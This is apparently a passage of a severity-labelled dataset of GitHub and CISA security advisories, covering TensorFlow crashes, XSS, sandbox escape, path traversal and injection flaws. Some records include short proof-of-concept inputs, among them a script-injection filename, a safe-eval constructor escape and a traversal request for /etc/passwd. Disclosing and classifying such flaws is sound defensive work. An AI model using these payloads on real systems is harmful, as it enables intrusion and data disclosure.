tags:\n```\n4.0.0-beta1\n4.0.0-beta2\n4.0.0-beta3\n4.0.0-beta4\n4.0.0-beta5\n4.0.0-beta6\n4.0.10\n4.0.11\n4.0.12\n4.0.13\n4.0.14\n4.0.3\n4.0.4\n4.0.6\n4.0.7\n4.0.8\n4.0.9\n4.6.0\n4.6.0-beta\n4.7.0\n4.8.0\n4.8.1\n4.8.2\n4.8.3\n4.8.4\n4.8.5\n4.9.0\n4.9.1\n4.9.2\n4.9.3\n```\n\n### Patches\nUpgrade to version `4.10.0`.\n\n### Workarounds\nDowngrade to version `4.5.2`.\n\n### References\nn/a", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "a3d272e5fee6d57575b2", "text": "CHECK-failure in `UnsortedSegmentJoin`\n\n### Impact\nAn attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin`:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], dtype=tf.string)\nsegment_ids = tf.constant([], dtype=tf.int32)\nnum_segments = tf.constant([], dtype=tf.int32)\nseparator = ''\n\ntf.raw_ops.UnsortedSegmentJoin(\n  inputs=inputs, segment_ids=segment_ids,\n  num_segments=num_segments, separator=separator)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a2a607db15c7cd01d754d37e5448d72a13491bdb/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L93) assumes that the `num_segments` tensor is a valid scalar:\n\n```cc\nconst Tensor& num_segments_tensor = context->input(2);\nauto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();\n```\n\nSince the tensor is empty the `CHECK` involved in `.scalar<T>()()` that checks that the number of elements is exactly 1 will be invalidated and this would result in process termination.\n\n### Patches\nWe have patched the issue in GitHub commit [704866eabe03a9aeda044ec91a8d0c83fc1ebdbe](https://github.com/tensorflow/tensorflow/commit/704866eabe03a9aeda044ec91a8d0c83fc1ebdbe).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "CHECK-failure in `UnsortedSegmentJoin`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin`:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], dtype=tf.string)\nsegment_ids = tf.constant([], dtype=tf.int32)\nnum_segments = tf.constant([], dtype=tf.int32)\nseparator = ''\n\ntf.raw_ops.UnsortedSegmentJoin(\n  inputs=inputs, segment_ids=segment_ids,\n  num_segments=num_segments, separator=separator)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a2a607db15c7cd01d754d37e5448d72a13491bdb/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L93) assumes that the `num_segments` tensor is a valid scalar:\n\n```cc\nconst Tensor& num_segments_tensor = context->input(2);\nauto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();\n```\n\nSince the tensor is empty the `CHECK` involved in `.scalar<T>()()` that checks that the number of elements is exactly 1 will be invalidated and this would result in process termination.\n\n### Patches\nWe have patched the issue in GitHub commit [704866eabe03a9aeda044ec91a8d0c83fc1ebdbe](https://github.com/tensorflow/tensorflow/commit/704866eabe03a9aeda044ec91a8d0c83fc1ebdbe).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "43db2be79692bf28c7ca", "text": "Cross-Site Scripting in ids-enterprise\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). The `soho-dropdown` component does not properly encode its output and may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "text_raw": "Cross-Site Scripting in ids-enterprise\n\n[Severity: HIGH]\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). The `soho-dropdown` component does not properly encode its output and may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "6fcd54e83636d423880d", "text": "Code Injection in total4\n\nThe package total4 before 0.0.43 are vulnerable to Arbitrary Code Execution via the `U.set()` and `U.get()` functions.", "text_raw": "Code Injection in total4\n\n[Severity: CRITICAL]\n\nThe package total4 before 0.0.43 are vulnerable to Arbitrary Code Execution via the `U.set()` and `U.get()` functions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "d375faf865f49866ff0e", "text": "Client Denial of Service on TUF\n\n### Impact\nAn attacker who can gain file access to the repository and modify metadata files may cause a denial of service to clients by creating many invalid signatures on a metadata file. Having a large number of signatures to verify will delay the moment when the client will determine the signature is not valid. This delay may be for at least a few minutes, but possibly could be longer especially if multiple files are impacted.\n\nThe tuf maintainers would like to thank Erik MacLean of Analog Devices, Inc. for reporting this issue.\n\n### Patches\nNo fix exists for this issue.\n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* [CVE-2020-6173](https://nvd.nist.gov/vuln/detail/CVE-2020-6173)\n* [Issue #973](https://github.com/theupdateframework/tuf/issues/973)", "text_raw": "Client Denial of Service on TUF\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker who can gain file access to the repository and modify metadata files may cause a denial of service to clients by creating many invalid signatures on a metadata file. Having a large number of signatures to verify will delay the moment when the client will determine the signature is not valid. This delay may be for at least a few minutes, but possibly could be longer especially if multiple files are impacted.\n\nThe tuf maintainers would like to thank Erik MacLean of Analog Devices, Inc. for reporting this issue.\n\n### Patches\nNo fix exists for this issue. \n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* [CVE-2020-6173](https://nvd.nist.gov/vuln/detail/CVE-2020-6173)\n* [Issue #973](https://github.com/theupdateframework/tuf/issues/973)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-21", "split": "train"}
-{"id": "0030573ea99470c6716a", "text": "Persistent XSS vulnerability in filename of attached file in PrivateBin\n\nOn 24th of December 2019 one of the [property based unit tests](https://github.com/PrivateBin/PrivateBin/blob/master/tst/README.md#property-based-unit-testing) reported a [failure](https://travis-ci.org/PrivateBin/PrivateBin/jobs/629180605#L782). Upon investigation, [@elrido](https://github.com/elrido) discovered that the failure was due to unescaped HTML, which allowed the user provided attachment file name to inject HTML under certain conditions leading to a persistent [Cross-site scripting (XSS)](https://en.wikipedia.org/wiki/Cross-site_scripting) vulnerability. After committing an [initial fix](https://github.com/PrivateBin/PrivateBin/commit/8d0ac336d23cd8c98e71d5f21cdadcae9c8a26e6) to the master branch, the [issue was reported](https://github.com/PrivateBin/PrivateBin/issues/554) on 25th of December. Vulnerability write-up done by [@rugk](https://github.com/rugk) and [@elrido](https://github.com/elrido).  \nThe vulnerability has been fixed in [PrivateBin v1.3.2 & v1.2.2](https://privatebin.info/news/v1.3.2-v1.2.2-release.html). Admins are urged to upgrade to these versions to protect the affected users.\n\n## Affected versions\n\nAny PrivateBin version since 1.2.\n\n## Conditions\n\n* The configuration setting `fileupload` has to be enabled, as 1.3 displays an error when trying to open a paste with attachment.\n* The CSP header rules don't get applied. For example:\n  * They are unsupported or disabled in the visitors browser.\n  * They are filtered out by a some proxy server at the server or client side.\n  * The header is disabled/commented in the PHP-logic.\n  * The rules have been relaxed in the `cspheader` configuration setting.\n* A paste with a malicious filename is created.\n* A visitor of that paste clicks on the \"Clone\" button.\n\n## Proof of concept\n\nThe following method is just one possibility to exploit this issue and is provided as a proof of concept with steps to reproduce the issue. To avoid having to create an actual file with a rogue filename, one could use the [Python CLI client for PrivateBin](https://github.com/r4sas/PBinCLI/) and [edit line 56 in `format.py`](https://github.com/r4sas/PBinCLI/blob/682b47fbd3e24a8a53c3b484ba896a5dbc85cda2/pbincli/format.py#L56) as follows:\n\n```diff\n-        self._attachment_name = path_leaf(path)\n+        self._attachment_name = '<script>alert(\"☹️\");//<a'\n```\n\nThe paste then can be created on a vulnerable instance:\n\n```shell\n$ python pbincli/cli.py send -t \" \" -f /dev/null -s https://privatebin.net/\n```\n\nVisiting the created paste on a vulnerable instance, with `fileupload` enabled and the CSP header weakened or disabled, and clicking the clone button will insert the HTML unescaped. In the above example, a pop-up would appear, when the script is executed.\n\n## Impact\n\nOn a vulnerable site pastes with malicious filenames can be created and users visiting these could inadvertently trigger the code execution when they click the \"Clone\" button. They could be instigated to do so via social engineering, like a paste text suggesting to \"clone and share\" the paste in question.\n\nThe attached file itself doesn't have to be empty and could be an image or document that would still be displayed inline as usual. The execution of the script triggered by clicking on the \"Clone\" button may occur silently in the background without showing any noticeable signs in browser. It may for instance be used to track visitors, start drive-by-downloads or similar. While we focus on script injection here, as it is the easiest exploit vector, it has to be said that anything else can be injected like CSS, images, videos, although the default CSP will block inline CSS and images, e.g.\n\nOn first visit, the filename isn't visible and is properly escaped when inserted into the download attribute. Only when clicking the \"Download attachment\" link would open a file save dialog with an odd name pre-filled, although browsers will convert illegal characters into valid ones, so it may not be identical to the one provided. Only when the \"Clone\" button ", "text_raw": "Persistent XSS vulnerability in filename of attached file in PrivateBin\n\n[Severity: MEDIUM]\n\nOn 24th of December 2019 one of the [property based unit tests](https://github.com/PrivateBin/PrivateBin/blob/master/tst/README.md#property-based-unit-testing) reported a [failure](https://travis-ci.org/PrivateBin/PrivateBin/jobs/629180605#L782). Upon investigation, [@elrido](https://github.com/elrido) discovered that the failure was due to unescaped HTML, which allowed the user provided attachment file name to inject HTML under certain conditions leading to a persistent [Cross-site scripting (XSS)](https://en.wikipedia.org/wiki/Cross-site_scripting) vulnerability. After committing an [initial fix](https://github.com/PrivateBin/PrivateBin/commit/8d0ac336d23cd8c98e71d5f21cdadcae9c8a26e6) to the master branch, the [issue was reported](https://github.com/PrivateBin/PrivateBin/issues/554) on 25th of December. Vulnerability write-up done by [@rugk](https://github.com/rugk) and [@elrido](https://github.com/elrido).  \nThe vulnerability has been fixed in [PrivateBin v1.3.2 & v1.2.2](https://privatebin.info/news/v1.3.2-v1.2.2-release.html). Admins are urged to upgrade to these versions to protect the affected users.\n\n## Affected versions\n\nAny PrivateBin version since 1.2.\n\n## Conditions\n\n* The configuration setting `fileupload` has to be enabled, as 1.3 displays an error when trying to open a paste with attachment.\n* The CSP header rules don't get applied. For example:\n  * They are unsupported or disabled in the visitors browser.\n  * They are filtered out by a some proxy server at the server or client side.\n  * The header is disabled/commented in the PHP-logic.\n  * The rules have been relaxed in the `cspheader` configuration setting.\n* A paste with a malicious filename is created.\n* A visitor of that paste clicks on the \"Clone\" button.\n\n## Proof of concept\n\nThe following method is just one possibility to exploit this issue and is provided as a proof of concept with steps to reproduce the issue. To avoid having to create an actual file with a rogue filename, one could use the [Python CLI client for PrivateBin](https://github.com/r4sas/PBinCLI/) and [edit line 56 in `format.py`](https://github.com/r4sas/PBinCLI/blob/682b47fbd3e24a8a53c3b484ba896a5dbc85cda2/pbincli/format.py#L56) as follows:\n\n```diff\n-        self._attachment_name = path_leaf(path)\n+        self._attachment_name = '<script>alert(\"☹️\");//<a'\n```\n\nThe paste then can be created on a vulnerable instance:\n\n```shell\n$ python pbincli/cli.py send -t \" \" -f /dev/null -s https://privatebin.net/\n```\n\nVisiting the created paste on a vulnerable instance, with `fileupload` enabled and the CSP header weakened or disabled, and clicking the clone button will insert the HTML unescaped. In the above example, a pop-up would appear, when the script is executed.\n\n## Impact\n\nOn a vulnerable site pastes with malicious filenames can be created and users visiting these could inadvertently trigger the code execution when they click the \"Clone\" button. They could be instigated to do so via social engineering, like a paste text suggesting to \"clone and share\" the paste in question.\n\nThe attached file itself doesn't have to be empty and could be an image or document that would still be displayed inline as usual. The execution of the script triggered by clicking on the \"Clone\" button may occur silently in the background without showing any noticeable signs in browser. It may for instance be used to track visitors, start drive-by-downloads or similar. While we focus on script injection here, as it is the easiest exploit vector, it has to be said that anything else can be injected like CSS, images, videos, although the default CSP will block inline CSS and images, e.g.\n\nOn first visit, the filename isn't visible and is properly escaped when inserted into the download attribute. Only when clicking the \"Download attachment\" link would open a file save dialog with an odd name pre-filled, although browsers will convert illegal characters into valid ones, so it may not be identical to the one provided. Only when", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-14", "split": "train"}
-{"id": "9006ca35a7bdd93ede9d", "text": "Sandbox Breakout in safe-eval\n\nAffected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.\n\n## Proof of Concept:\nThis code accesses the process object and calls `.exit()`\n```js\nvar safeEval = require('safe-eval');\nsafeEval(\"this.constructor.constructor('return process')().exit()\");\n```\n\n## Recommendation\n\nUpdate to version 0.4.0 or later", "text_raw": "Sandbox Breakout in safe-eval\n\n[Severity: CRITICAL]\n\nAffected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox. \n\n## Proof of Concept:\nThis code accesses the process object and calls `.exit()`\n```js\nvar safeEval = require('safe-eval');\nsafeEval(\"this.constructor.constructor('return process')().exit()\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.0 or later", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "2e7bb2ac0e66130b2a44", "text": "Division by 0 in `ResourceScatterDiv`\n\n### Impact\nThe implementation of `tf.raw_ops.ResourceScatterDiv` is vulnerable to a division by 0 error:\n\n```python\nimport tensorflow as tf\n\nv= tf.Variable([1,2,3])\ntf.raw_ops.ResourceScatterDiv(\n  resource=v.handle,\n  indices=[1],\n  updates=[0])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/resource_variable_ops.cc#L865) uses a common class for all binary operations but fails to treat the division by 0 case separately.\n\n### Patches\nWe have patched the issue in GitHub commit [4aacb30888638da75023e6601149415b39763d76](https://github.com/tensorflow/tensorflow/commit/4aacb30888638da75023e6601149415b39763d76).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by 0 in `ResourceScatterDiv`\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.raw_ops.ResourceScatterDiv` is vulnerable to a division by 0 error:\n\n```python\nimport tensorflow as tf\n\nv= tf.Variable([1,2,3])\ntf.raw_ops.ResourceScatterDiv(\n  resource=v.handle,\n  indices=[1],\n  updates=[0])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/resource_variable_ops.cc#L865) uses a common class for all binary operations but fails to treat the division by 0 case separately.\n\n### Patches\nWe have patched the issue in GitHub commit [4aacb30888638da75023e6601149415b39763d76](https://github.com/tensorflow/tensorflow/commit/4aacb30888638da75023e6601149415b39763d76).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "50e61472fd5f7c74ac77", "text": "Cross-site scripting in Jenkins Kiuwan Plugin\n\nJenkins Kiuwan Plugin 1.6.0 and earlier does not escape query parameters in an error message for a form validation endpoint, resulting in a reflected cross-site scripting (XSS) vulnerability.\n\nOnly older releases of Jenkins are affected by this vulnerability. Jenkins 2.275 and newer, LTS 2.263.2 and newer include a protection preventing this from being exploitable.\n\nJenkins Kiuwan Plugin 1.6.1 escapes affected parts of the error message in the form validation endpoint.", "text_raw": "Cross-site scripting in Jenkins Kiuwan Plugin\n\n[Severity: MEDIUM]\n\nJenkins Kiuwan Plugin 1.6.0 and earlier does not escape query parameters in an error message for a form validation endpoint, resulting in a reflected cross-site scripting (XSS) vulnerability.\n\nOnly older releases of Jenkins are affected by this vulnerability. Jenkins 2.275 and newer, LTS 2.263.2 and newer include a protection preventing this from being exploitable.\n\nJenkins Kiuwan Plugin 1.6.1 escapes affected parts of the error message in the form validation endpoint.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "c1d9fd6568a6f82884fc", "text": "Command Injection in node-wifi\n\nVersions of `node-wifi` prior to 2.0.12 are vulnerable to Command Injection. The package fails to sanitize user input, allowing attackers to inject commands through the `ssid` variable and possibly achieving Remote Code Execution on the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in node-wifi\n\n[Severity: CRITICAL]\n\nVersions of `node-wifi` prior to 2.0.12 are vulnerable to Command Injection. The package fails to sanitize user input, allowing attackers to inject commands through the `ssid` variable and possibly achieving Remote Code Execution on the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "045190410da0e188c26d", "text": "inflect vulnerable to Inefficient Regular Expression Complexity\n\ninflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity", "text_raw": "inflect vulnerable to Inefficient Regular Expression Complexity\n\n[Severity: HIGH]\n\ninflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "7183a8aeac08fd9ffeb3", "text": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nApache Struts contains a vulnerability that allows for remote code execution under two circumstances. One, where the alwaysSelectFullNamespace option is true and the value isn't set for a result defined in underlying configurations and in same time, its upper package configuration have no or wildcard namespace.  Or, using URL tag which doesn't have value and action set and in same time, its upper package configuration have no or wildcard namespace.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nApache Struts contains a vulnerability that allows for remote code execution under two circumstances. One, where the alwaysSelectFullNamespace option is true and the value isn't set for a result defined in underlying configurations and in same time, its upper package configuration have no or wildcard namespace.  Or, using URL tag which doesn't have value and action set and in same time, its upper package configuration have no or wildcard namespace.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f8a93d48f9f45e616786", "text": "Directory Traversal in infraserver\n\nAffected versions of `infraserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in infraserver\n\n[Severity: HIGH]\n\nAffected versions of `infraserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "3052a6ee1ca7e0aa2cac", "text": "Withdrawn, accidental duplicate publish.\n\nThe uglify-js package before 2.4.24 for Node.js does not properly account for non-boolean values when rewriting boolean expressions, which might allow attackers to bypass security mechanisms or possibly have unspecified other impact by leveraging improperly rewritten Javascript.", "text_raw": "High severity vulnerability that affects uglify-js\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe uglify-js package before 2.4.24 for Node.js does not properly account for non-boolean values when rewriting boolean expressions, which might allow attackers to bypass security mechanisms or possibly have unspecified other impact by leveraging improperly rewritten Javascript.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "5f5878927b59f4987840", "text": "Argument injection in lettre\n\n### Impact\n\nAffected versions of lettre allowed argument injection to the sendmail command. It was possible, using forged to addresses, to pass arbitrary arguments to the sendmail executable.\n\nDepending on the implementation (original sendmail, postfix, exim, etc.) it could be possible in some cases to write email data into abritrary files (using sendmail's logging features).\n\n*NOTE*: This vulnerability only affects the sendmail transport. Others, including smtp, are not affected.\n\n### Fix\n\nThe flaw is corrected by modifying the executed command to stop parsing arguments before passing the destination addresses.\n\n### References\n\n* [RUSTSEC-2020-0069](https://rustsec.org/advisories/RUSTSEC-2020-0069.html)\n* [CVE-2020-28247](https://nvd.nist.gov/vuln/detail/CVE-2020-28247)", "text_raw": "Argument injection in lettre\n\n[Severity: MEDIUM]\n\n### Impact\n\nAffected versions of lettre allowed argument injection to the sendmail command. It was possible, using forged to addresses, to pass arbitrary arguments to the sendmail executable.\n\nDepending on the implementation (original sendmail, postfix, exim, etc.) it could be possible in some cases to write email data into abritrary files (using sendmail's logging features).\n\n*NOTE*: This vulnerability only affects the sendmail transport. Others, including smtp, are not affected.\n\n### Fix\n\nThe flaw is corrected by modifying the executed command to stop parsing arguments before passing the destination addresses.\n\n### References\n\n* [RUSTSEC-2020-0069](https://rustsec.org/advisories/RUSTSEC-2020-0069.html)\n* [CVE-2020-28247](https://nvd.nist.gov/vuln/detail/CVE-2020-28247)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "64e87ffd3b60cd8b3b7b", "text": "Division by zero in TFLite's implementation of `DepthToSpace`\n\n### Impact\nThe implementation of the `DepthToSpace` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69):\n\n```cc\nconst int block_size = params->block_size;\n...\nconst int input_channels = input->dims->data[3];\n... \nint output_channels = input_channels / block_size / block_size;\n```\n\nAn attacker can craft a model such that `params->block_size` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [106d8f4fb89335a2c52d7c895b7a7485465ca8d9](https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `DepthToSpace`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `DepthToSpace` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69):\n\n```cc\nconst int block_size = params->block_size;\n...\nconst int input_channels = input->dims->data[3];\n... \nint output_channels = input_channels / block_size / block_size;\n``` \n\nAn attacker can craft a model such that `params->block_size` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [106d8f4fb89335a2c52d7c895b7a7485465ca8d9](https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9).\n    \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "67c13bd26ef0e544859d", "text": "Path Traversal in decompress\n\nVersions of `decompress` prior to 4.2.1 are vulnerable to Arbitrary File Write. The package fails to prevent extraction of files with relative paths, allowing attackers to write to any folder in the system by including filenames containing`../`.\n\n## Recommendation\n\nUpgrade to version 4.2.1 or later.", "text_raw": "Path Traversal in decompress\n\n[Severity: CRITICAL]\n\nVersions of `decompress` prior to 4.2.1 are vulnerable to Arbitrary File Write. The package fails to prevent extraction of files with relative paths, allowing attackers to write to any folder in the system by including filenames containing`../`.\n\n\n## Recommendation\n\nUpgrade to version 4.2.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "619c6a7a8d06f17d310a", "text": "XSS in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in: the core parser and `media` plugin. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.9 or lower and TinyMCE 5.2.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.10 and 5.2.2 by improved HTML parsing and sanitization logic.\n\n### Workarounds\nThe workarounds available are:\n- disable the media plugin and manually sanitize CDATA content (see below)\nor\n- upgrade to either TinyMCE 4.9.10 or TinyMCE 5.2.2\n\n#### Example: Manually strip CDATA elements\n```js\nsetup: function(editor) {\n  editor.on('PreInit', function() {\n    editor.parser.addNodeFilter('#cdata', function(nodes) {\n      for (var i = 0; i < nodes.length; i++) {\n        nodes[i].remove();\n      }\n    });\n  });\n}\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Michał Bentkowski and [intivesec](https://github.com/intivesec) for discovering these vulnerabilities.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes522/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "XSS in TinyMCE\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in: the core parser and `media` plugin. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.9 or lower and TinyMCE 5.2.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.10 and 5.2.2 by improved HTML parsing and sanitization logic.\n\n### Workarounds\nThe workarounds available are:\n- disable the media plugin and manually sanitize CDATA content (see below)\nor\n- upgrade to either TinyMCE 4.9.10 or TinyMCE 5.2.2\n\n#### Example: Manually strip CDATA elements\n```js\nsetup: function(editor) {\n  editor.on('PreInit', function() {\n    editor.parser.addNodeFilter('#cdata', function(nodes) {\n      for (var i = 0; i < nodes.length; i++) {\n        nodes[i].remove();\n      }\n    });\n  });\n}\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Michał Bentkowski and [intivesec](https://github.com/intivesec) for discovering these vulnerabilities.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes522/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-11", "split": "train"}
